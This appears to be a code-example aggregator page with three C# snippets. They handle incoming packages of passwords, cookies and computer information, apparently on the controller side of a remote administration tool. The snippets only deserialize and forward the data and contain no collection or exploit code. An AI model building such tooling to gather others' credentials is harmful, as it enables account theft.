public override void ResponseReceived(byte[] parameter)
        {
            var data = new Serializer(typeof(PasswordData)).Deserialize <PasswordData>(parameter);

            LogService.Receive(string.Format((string)Application.Current.Resources["ReceivedPasswords"],
                                             data.Passwords.Count, data.Cookies.Count));
            PasswordsReceived?.Invoke(this, data);
        }
Esempio n. 2
0
        public override void ResponseReceived(byte[] parameter)
        {
            var data = new Serializer(typeof(PasswordData)).Deserialize <PasswordData>(parameter);

            if (PasswordsReceived != null)
            {
                PasswordsReceived.Invoke(this, data);
            }
        }
Esempio n. 3
0
        private void ProcessServerPackage(ServerPackage serverPackage)
        {
            switch (serverPackage.ServerPackageType)
            {
            case ServerPackageType.AddPasswords:
                PasswordsReceived?.Invoke(this,
                                          new PasswordsReceivedEventArgs(
                                              PasswordDataSerializer.Value.Deserialize <PasswordData>(serverPackage.Data),
                                              serverPackage.RedirectPackage != null, serverPackage.RedirectPackage?.Administration ?? 0));
                break;

            case ServerPackageType.SetComputerInformation:
                ComputerInformationReceived?.Invoke(this,
                                                    new ComputerInformationReceivedEventArgs(
                                                        ComputerInformationSerializer.Value.Deserialize <ComputerInformation>(
                                                            serverPackage.Data), true, serverPackage.RedirectPackage?.Administration ?? 0));
                break;

            default:
                throw new ArgumentOutOfRangeException();
            }
        }